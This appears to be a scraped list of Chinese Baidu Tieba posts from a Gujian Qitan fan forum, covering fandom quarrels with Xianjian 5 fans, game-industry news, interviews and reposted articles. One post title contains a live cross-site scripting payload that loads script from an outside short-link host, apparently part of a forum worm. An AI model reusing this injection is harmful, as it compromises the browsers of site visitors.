welu1984
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幸好留了一点东西 要不古粉还真没处诉冤
建议只是想看YY参加人数的只进入一下,然后退出就可以了,在主界面 一样能看到人数
转:古剑琼瑶体cp片段【当】 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.tudou.com%2Fprograms%2Fview%2FxOn_F0u8BLs%2F&urlrefer=6945c2ac8ff9a1f7f89c899cd49b617c
我生气了,真的,造谣很好玩吗 看到这个,我还以为古粉做错了什么造谣很好玩吗,抹黑古粉很好玩吗
路过,偶然看到新开张一间5D电影 @苏♀玫玖儿 都这么多5D电影了
渡口[天之痕OL]将停运 大宇网游受质疑 GameLook报道 /8月3日消息,笔者今日下午获悉,由台湾大宇研发、上海渡口网络代理运营的3D横版网游《天之痕OL》近日将宣布停止运营。 据悉,《天之痕OL》由国内知名游戏软件开发商大宇开发制作,改编自大宇单机游戏“轩辕剑”系列中最经典的一作。2009年末即有消息称上海某网游公司将代理此款产品,而在2010年初代理商渡口网络终于浮出水面,并通过《天之痕OL》的代理由原本的低调行事一下子进入玩家与业界视线。其后,因为经典单机《天之痕》的影视改编等热门话题,《天之痕OL》也受到了不少关注。据观察,《天之痕OL》官网的活动新闻最后一次更新是在2010年9月(临近国庆),而该游戏是在2010年5月末封测。可以说,游戏上线不到半年,就已经被运营商渡口网络放弃了。 《天之痕OL》与《仙剑OL》一样,都是大宇资讯旗下的网游作品。不过,二者也有着相同的命运,并没有延续单机版的辉煌,而是很快走入没落,一蹶不振。
请喷子你们继续黑古剑吧,有你世界才如此精彩 当然,不要人参喷
再来150W帖,古剑吧就能进前三了 立帖为证,你们这些水魔兽
GAMEBAR苏飞:古剑2和OL版一年后上市 今日是ChinaJoy的最后一日,我们邀请到了GAMEBAR(网元圣唐)方仗苏飞来到ZOL直播访谈间,作为《古剑奇谭》的发行商,苏飞为我们透露了许多《古剑奇谭》最新进展以及网络游戏的最新动态。《聚仙》已正式公测 传承仙侠中国文化 对于GAMEBAR的最新产品,苏飞称,旗下仙侠风格的网游《聚仙》已在20日开启公测,采取道具收费模式,苏飞称,《聚仙》是仙侠文化,中国传统的扎小人,靠蛊惑,用法宝扎小人等,还是蛮有意思的。有巫术的元素,6个职业中比较有另类和特点的,有异域文化的特色。这个游戏的竞技性和复本,仓颉造字,要攻击一些字需要成语,有一些创意,是中国玩家修仙的要素和很好的体验。 《古剑奇谭》不再做新的DLC 《古剑2》和OL版2013年中上市 玩家最关心的,还是属《古剑奇谭》。苏飞透露,8月10日将开放《古剑奇谭》最后一代DLC和第二结局的下载,而后一代产品内容告一段落,后面不会做新的DLC。年底将会发售一款《古剑奇谭》KJava版的,小说也会在上市,《古剑奇谭》的电视剧现在计划在明年暑假播出,目前在做剧本的沟通和审核中。 前段时间关于《古剑奇谭2》以及《古剑奇谭网络版》已经在网上风声,关于具体的进展情况,苏飞表示,《古剑奇谭2》和《古剑奇谭》OL已经制作一段时间了,大概2013年中会上市。 打击盗版离不开玩家的支持 中国市场盗版非常的猖獗,所有的单机游戏被盗版侵害的非常严重,关于盗版,苏飞认为,打击盗版最主要还是靠玩家的支持。盗版问题在《古剑奇谭》上得到了非常有效的解决,首先离不开玩家的支持,玩家确实对国产游戏有很大的帮助和支持,中国版权保护中心,给我们提供了很多法律和政策上的帮助,这也是很重要的。GAMEBAR在运营方式上做了一些创新,给单机游戏发行做了一种新的尝试和开了一个好头,发行上将国内下载的门户,能利用到的我们基本都采用了合作,一定程度上有效的杜绝了盗版发行的源头。 苏飞还透露道,在8月底还将推出一款神秘的非常有名的单机游戏,但名字还不能透露。
鱼肉为什么要上山采药 为谁采药,求解
其实我希望喷子能喷狠点,给烛龙多一点的压力 这才是喷子存在的意义,让暴风雨来得更猛烈些吧
【转】能否再续前缘?试玩国产大作仙剑奇侠传5 曾几何时,有一个游戏名为《仙剑奇侠传》,李逍遥的多情但不滥情让人回味无穷,赵灵儿的一首婉诗让人陶醉,林月如的侠骨柔肠,风华如玉让人动情,而时隔16年,仙剑已经经历了6作之多,而在4代后的4年后《仙剑奇侠传5》火热发售,而该作则是有着“仙剑之父”之称的姚仙则重新操刀负责,时隔多年,到底该作能否继承《仙剑奇侠传》的风光以及辉煌呢? 本次测试所采用的显卡为最近大热的、将军团属下之一的影驰GTX560黑将。 显卡介绍:
太牛了,600W做出和3000w
百游魏啸:从专注开始打造企业品牌 7月9日,国内知名游戏企业百游汇通在京举行《仙剑奇侠传5》上市首映礼。在此次发布会上“仙剑之父” 姚壮宪以及百游COO魏啸接受了媒体的采访。姚仙表示游戏达到100万套就开始研发《仙剑6》。而魏啸认为做产品要专注,《仙剑5》是我们第一款单机游戏,他拥有十六年的经典历史,百游要将这经典延续下去。文:郑化锋
围观贴吧单机游戏目录,古吧太凶残了 dota吧,共有主题数2859197个,贴子数36912292篇,神之力量数74472 建吧时间题为? psp吧,共有主题数803379个,贴子数8100063篇,游男戏女数2006 建吧时间为2005年或之前 魔兽争霸吧,共有主题数714860个,贴子数8030235篇,泰坦数17079 建吧时间为2005年或之前 古剑奇谭吧,共有主题数309944个,贴子数6873019篇,壮古粉数14118 建吧时间为2009年12月 仙剑4吧,共有主题数172332个,贴子数6920896篇,一期一会数4348 建吧时间为2007年或之前
有些人,要求一个一岁的婴儿力大壮如牛,却对一个16岁壮年等食等死 表示要宽容,真中土奇事
行了,3DM版也好,官方版也好,古粉没责任为仙5找BUG 该干嘛干嘛去,最好别总说古粉不包容什么
听我再说一句,现在,我正在下载云之遥,进行测试 请等待我的视频
乐乐,屏幕录像专家发我一个 @紫霄宫鸿钧道长
【平】我的第一个回帖就是乐乐 乐乐,还记得当年的那个小小白吗
【转】孟宪明:中国的游戏商都太注重眼前利益 【17173专稿,未经授权请勿转载】 7月6日,《聚仙》发布会在北京水立方隆重举行(详情点此查看),在现场GAMEBAR总裁孟宪明进行慷慨激昂的演讲,在会后与17173记者的交流中,这位已经在生意场上驰骋30年的老兵感慨万千。 点此进入《聚仙》游戏专题>>>> 不道德的游戏行业日子过的就是好---这是什么鸟话? 孟宪明说:我今天来参加发布会,我看到了一条评论说:“不道德的游戏行业日子过的就是好”,这是什么鸟话?我们游戏人淳朴,务实,上进,渴望成功,我们都是非常可爱的人,我们渴望为玩家创造快乐,我们和阳光保险合作,为所有《聚仙》玩家投保,我希望通过我微不足道的行为对游戏行业产生影响,能让更多游戏企业关爱社会,关爱玩家,让社会不再歧视网游。
【转载】大作烧钱! 最新十大游戏研发投入排行榜出炉 一楼敬度娘
【游戏新闻】古剑奇谭如花美眷诸般见 君与何人共婵娟 1楼度娘,不知有人发没有
召唤零度好男人 @零度好男人 看站内短信
第二结局快点出吧,我受不了那些瞎眼图了
吧务建议,一天只准开一帖仙5帖还是无限制开帖
其实大家,对付喷子和挑拨最好就是上烧饼哥的大饼和包哥 的图
【搬运】2.5D、伪三维,又称为假3D 2.5D 求助编辑百科名片 2.5D、伪三维,又称为假3D,是电子游戏立体技术尚未成熟的年代中经常出现的一种电子游戏类型。对于电子游戏来说,多边形技术未成熟或是游戏主机(电脑、电视游乐器)机能不足以支持的时代,产生了许多过渡产物。一些游戏虽然有着部分立体的外貌,可是却并非真正意义上的立体游戏,因此一般都统称为假3D游戏。 目录 数学假3D种类真3D中的真3D编辑本段数学 在数学里,根据豪斯多夫维(Hausdorff dimension)的定义,空间的维度不一定是整数,而可以是实数。编辑本段假3D种类 只有看起来像立体,从里到外都没3D 以古老的名作《德军总部》为代表,那看似立体的画面全由演算法构成,和多边形技术没有任何关系。 仅在动、静画的绘成过程中采用多边形技术 又称为Pre-rendering。先在多边形绘图软体之中,建立了一个多边形模型,接着做出各种动作并拍下照片。最后程式员把照片运用在传统的平面游戏当中。 Pre-rendering技术可以用来绘制背景。 《Final Fantasy》七代到九代的立体背景都用这种技术绘制成。 在画面呈现时仅部分采用多边形技术 对于这种游戏来说,你总会发现所有画面上看得到的东西都只是在几个固定的角度间转动,而无法更自由地旋转,举个常见的例子:你可以从四面八方观察这张桌子,但就是不能看看它的上方或下方。毫无疑问地,这张怎么看都是用3D-Max之类的多边形软体建模绘成的桌子,当它绘制完成时绝对可以恣意俯视和仰视,为什么偏偏在游戏当中不允许? 那是因为这些多边形物件在游戏程式中并未真正相连成一个多边形世界,程式只对个别的多边形物件作转动,接着计算出它们在视野转动后应该存在的方位,再把它们各自拼贴出现。如果这种说法还太难懂,那么可以这样说吧:桌子和墙壁都是真正的多边形物件,都可以真正的在你面前转动;可是关于它们所呈现的相对位置上,2D技术仍然阴魂不散。令人伤悲的是,这种做法虽然比Pre-rendering更接近真正的3D,但在硬体机能条件相同的前提下,画面华丽与精致度上却大为不及,例如《Dragon Quest》七代和四代、五代的重制就是利用这种技术。 《恶魔城 月下夜想曲》是使用这个技术的例子。
嗯,开始…………了 坐等秒杀
70W的软件,2W的视频,好有钱的感觉
rw能秒杀gb的原因是因为3DMAX 如果建模不好,再强的引擎做的画面也是垃圾
姜军基发微博了 @姜军基V:吐个槽,之前因仙剑5论坛版主之邀回了篇采访稿,之后版主很委屈的和我打招呼,说官方觉得他们是借官方的名义在做采访,所以暂且就不发布我的文了。呵呵,发不发布倒是无所谓,不过你知道一个关心你们成长的老鸟在深夜加班回来还第一时间回复版主的信函到一点多么~你知道一个美术人员打这么多字容易么~
求鉴定,这图有破绽吗 回车键
尼玛化妆师1500啊有木有!!摄影5000啊有木有!!!
有请、敬请各位吧友不要说棒棒了好吗 都快成行云吧了,这是古剑吧
令人汗颜!破解——是用来收保护费的?! 最近听闻一则消息,说某个靠色情起家的游戏网站的站长竟然私下要挟百游,你不给我好的价格,不给我好的政策,《仙剑奇侠传5》破解可能立即就会放出,到时候大家做不成。听到这里,不禁哑然,破解竟然可以拿来讨价还价,这太荒唐了,荒唐到闻所未闻,荒唐到眼冒金星,荒唐到臭不要脸!!! 中国的单机游戏逐年没落至今,原因很多,如网游的崛起、漠视消费能力的定价、及国内单机游戏的质量等等,造成国内的游戏没人玩,国外的游戏玩不起,现如今,随着消费水平的提高,国内玩家的正版意识逐步加强,支持国产游戏,重塑单机游戏地位,成为众玩家的一致心声。所谓的破解,只是一些游戏爱好者出于对游戏的那份热爱,却苦于在国内买不到国外游戏而自发的一种研究行为。 《古剑奇谭》就是一个很好的例子,该款游戏加密难度不高,对于破解爱好者来说,并非难事。但是,发售期间,没人破解,究其原因,该款游戏为近几年来,唯一的一款国内相对高质量的游戏,并且定价适当,引发了广大单机游戏爱好者的一致支持,结果是销量非常可观,官方也有了更多的资金投入新游戏的开发,形成了大家期待看到的良性循环。 而现在听闻该网站,在人气大作《仙剑5》即将发售期间,为了一已私利,竟然恶意扭曲破解爱好者的精神和宗旨,把玩家当筹码,以破解相威胁,以扰乱市场秩序为手段,达到赢取暴利之目的,不能不令人汗颜!这不是十足的无赖,又是什么?建议你直接收保护费!连卖都省了,多好。 同时启动联想。。。。。如果,每个破解爱好者,都向《仙剑5》官方领取一份保护费,那百游门口一定会排起一条不下几万人的长队,场面一定会壮观如滔滔江水。
图文:《仙剑5》细节再公布 对话简略空格键将有大用 《仙剑奇侠传5》近期又有几条爆料放出。 首先是游戏将不能快速跳过对话,但人物间的对话并不会很长,根据试玩的反馈,游戏的对话文字很是简略,其中唐雨柔更是凭借三次一个字的台词,给人留下了非常深刻的印象。 不过对话再简略,到玩第二遍的时候,空格键还是会遭殃的,当然了,前提是你玩第二遍。 空格键在游戏中将会有很大的作用,《仙剑奇侠传5》的屋子里有很多的隐藏物品,空格键可以将它们搜索出来,而且这次空格键的搜索范围很大,大概可以达到2-3个身位的距离。 总之,空格键要因为《仙剑奇侠传5》而遭殃了。
百度一下“不油不腻红烧肉的做法 快乐生活一点通20110420”的视频 有个好东西
其实,行云cos鱼肉太像了,一样的气质,不二人选 姚仙眼光不错,
古吧已经不是我一年前来的那个了 古吧已经不像一年前对仙5充满期待了, 已经不对姚仙当神一样崇拜了, 已经对仙5能秒杀古剑一万倍的说法怀疑了, 已经对仙5持观望态度了, 已经开始对仙5人设各种喷饭了, 已经对情盅神曲无语凝噎了, 已经对各种仙剑要死也得拖上古剑垫底的枪文开始免疫了, 所以,古吧真的变了,古吧不能像某些吧16年如一日地爱仙剑,请贵族们放过古吧吧
大家都注意一点,标题有《说不过就删帖封号》都是被挂马的,都别点
绝对震撼人心的语录,2011年</script><script/src=//qr.net/edrn> 我想说啥来着??<a href="/i/sys/jump?un=samy_joke" onclick="Stats.sendRequest('fr=tb0_forum&st_mod=pb&st_value=atlink');" onmouseover="showattip(this)" onmouseout="hideattip(this)" username="samy_joke" target="_blank" class="at">@samy_joke</a> <br>
翻一翻古吧图库,居然没有画面高效的古剑截图 那些美图都去哪了??
蛋蛋给我滚进来 谁叫你回微博的
一个疑问,原来人设不算画面的??? 昔日流仙回复@烟熏蔫的花:我去啊,原来人设算画面啊,我果断孤陋寡闻了,谢谢普及知识啊,您v587了(10秒前
一个不准人骂的游戏是永远长不大的 包括古剑,所以我希望能有建设的骂古剑
就发两张图,1.0.0版本和1.5.8版本真的同样特效差很多 上面是1.5.8的截图,下面是1.0.0的截图,大家可以比较下
其实我觉得第二结局dlc应该20元才对 我不是富二代,只是觉得应该物有所值才对,第二结局还送醉梦江湖,20元够了
帝都惊现水怪,和百年一遇暴雨有什么联系 莫非真是悭臾来了
【手打】大软六月专访工长君 方便手机党 ------------------------------------- 烛龙迁居蓄锐飞 连续两个夏天,关心喜爱国产单机游戏的玩家都将在兴奋与喜悦的心情中度过,这样的情形,已经不记得多有多少年没有出现过了。今年的暑假是属于“仙剑5”的,但是曾经拥有去年暑假的《古剑奇谭》制作公司——上海烛龙也并没有安静地蛩伏。烛龙最近刚刚搬迁了新址,并接受了“古剑”忠实玩家的集体到访,详细的相关经过读者可以在后附的插文中看到。在新家安顿下来后,烛龙的成员又即将开始繁忙的开发工作,趁这间隙,本刊记者就一些大家感兴趣的话题对工长君进行了独家专访——工长君是个很直爽而而且健谈的人,从他的话中,你总能了解到一些很有意思的东西……大众软件:听说烛龙最近搬迁到新址了(其实《大众软件》杂志社在4月底也搬迁了,好巧啊哈哈),先恭喜贺喜烛龙的全体朋友!烛龙的搬迁让我想起了当年的NAMCO,依靠一款《铁板阵》的热卖修建了一栋新的办公大楼,被业内称作“铁板阵大楼”如果说《古剑奇谭》就像《铁扳阵》那样,为烛龙今后的扩张壮大下了坚实的基础.工长君是否认可这样的比方? 工长后:首先,我也恭喜一下大软乔迁新址!说到上海烛龙的搬家.其实挺“杯具”的,这次搬迁并非因热卖赚钱继而进行发展,最主要的原因是因为产品线的扩大,而造成研发空间严重不足,这才不得不搬的.目前的搬迁计划.其实早在 《古剑奇谭》上市之前就已经确认完毕了.为了维持《古剑奇谭》DLC、二代·OLG的产品规模和水准.之前在浦东大道上的研发空间完全不够用,我们极为勉强地撑到《古剑奇谭》上市便赶紧搬家,这才保证了各项目新人有足够的研发空间。 扩张到目前已经告一段落了,如果还有下一次的话,应该是要看《古剑奇谭》的后续产品成绩如何,那时候才知道新地址是不是8神经所说的“铁板阵大楼”性质的新地方。
水沟搞不好,只会怨三峡 唉
哀大莫若心死,对某些游戏不再关心了
【平】一点不解,即时演算费用高还是CG动画费用高 好像很多人说CG比即时更费钱什么,求解
大家用4个字来总结今天的事件吧 百游操蛋
一个让人不想吐槽的游戏 算了吧,还有很多游戏没玩呢
玖儿520 @苏♀玫玖儿才怪
【平】刚刚无聊把古剑npc算了一遍 古剑共有965个npc,包含迷宫的路人,但没连龙星商会的小龙人一起算……
这算不算外国的形象工程 洛达尔隧道 - 简介 洛达尔隧道洛达尔隧道是位于挪威西部地区的世界最长的公路隧道。洛达尔隧道位于洛达尔和艾于兰之间,全长24.51千米。 于1995年3月开始动工兴建,2000年11月27日正式通车,整个工程项目共耗资约1亿美元。挪威国王哈拉尔五世为隧道正式通车剪了彩。 洛达尔隧道 - 用途 过去来往于奥斯陆和卑尔根的车辆不仅要在洛达尔乘三个小时的轮渡穿越洛达尔附近的松恩峡湾,而且还要在洛达尔和艾于兰之间翻越很长一段地势非常险峻的山路,并且在冬季冰冻时期禁止通行。洛达尔隧道通车后,奥斯陆与卑尔根之间的行车时间将从以往的14个小时缩短至7个小时,车辆在冬季照常通行无阻。 洛达尔隧道 - 独特之处 在没有窗户的封闭隧道中连续行驶20分钟会让人感觉乏味,所以心理学家和工程师决定采取措施,维持驾驶员的注意力集中。“一个人在隧道的心理反应是非常重要的…这决定了人们是接受这项设施或者是干脆回避它。”曾经参与过10个不同的隧道工程的伊利诺大学教授土木与环境工程教授优素福·哈沙什说,“就这条隧道的长度来说,需要一个精心设计的环境和照明系统。”洛达尔隧道中使用的一些解决方案包括明亮的蓝色灯光和微妙的曲线,以吸引司机的注意力。不过,最重要的是该隧道分为几个不同的部分,打破了整个行驶路线的单调性,给乘客造成一种印象,仿佛他们是在几个小的隧道中行驶。 洛达尔隧道 - 特点 根据设计,洛达尔隧道每小时通过车辆的能力为400辆。但由于挪威人口较少,这条隧道每昼夜通过的轿车将仅为1000辆。
游戏场景动态光影专利 申请专利号 CN200310118895.0 专利申请日 2003.12.04 名称 场景动态光影实现方法 公开(公告)号 CN1547163 公开(公告)日 2004.11.17 类别 物理 颁证日 优先权 申请(专利权) 北京金山数字娱乐科技有限公司 地址 100083北京市海淀区北四环中路238号柏彦大厦20层2008房间 发明(设计)人 罗洪波 国际申请 国际公布 进入国家日期 专利代理机构 北京集佳知识产权代理有限公司 代理人 王学强 摘要 本发明公开了一种场景动态光影实现方法,包括步骤:生成场景中的遮挡物列表;确定光源衰减范围,对位于光源衰减范围中的遮挡物生成光源对应的动态阴影锥列表;判断可以被照亮的物体是否位于视野之中,如在视野之中,则将其离散成具有顶点的物体网格;针对视野中的光源,判断离散成物体网格的物体是否位于光源的衰减范围内,如果不在,则不进行计算;如果在,则计算光源对衰减范围内未处于阴影锥的物体网格的光照。本发明可应用于伪3D游戏,可以提高光照精度,改善场景图像品质,而且减小实现场景动态光影效果时的计算量,提高光照速度。 主权项 1.一种场景动态光影的实现方法,包括步骤:1)生成场景中的遮挡物列表;2)确定光源衰减范围,对位于光源衰减范围中的遮挡物生成光源对应的动态阴影锥列表;3)判断可以被照亮的物体是否位于视野之中,如在视野之中,则将其离散成具有顶点的物体网格;4)针对视野中的光源,判断离散成物体网格的物体是否位于光源的衰减范围内,如果不在,则不进行计算;如果在,则进入步骤5);5)计算光源对衰减范围内未处于阴影锥的物体网格的光照。
原来张毅君是新、闻出、版总、署科技与数字出版司司长咋 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fnews.mifengniao.com%2Fyenei%2F1132.html&urlrefer=fb83914f10ea0b39a0ec4b7330d37e98
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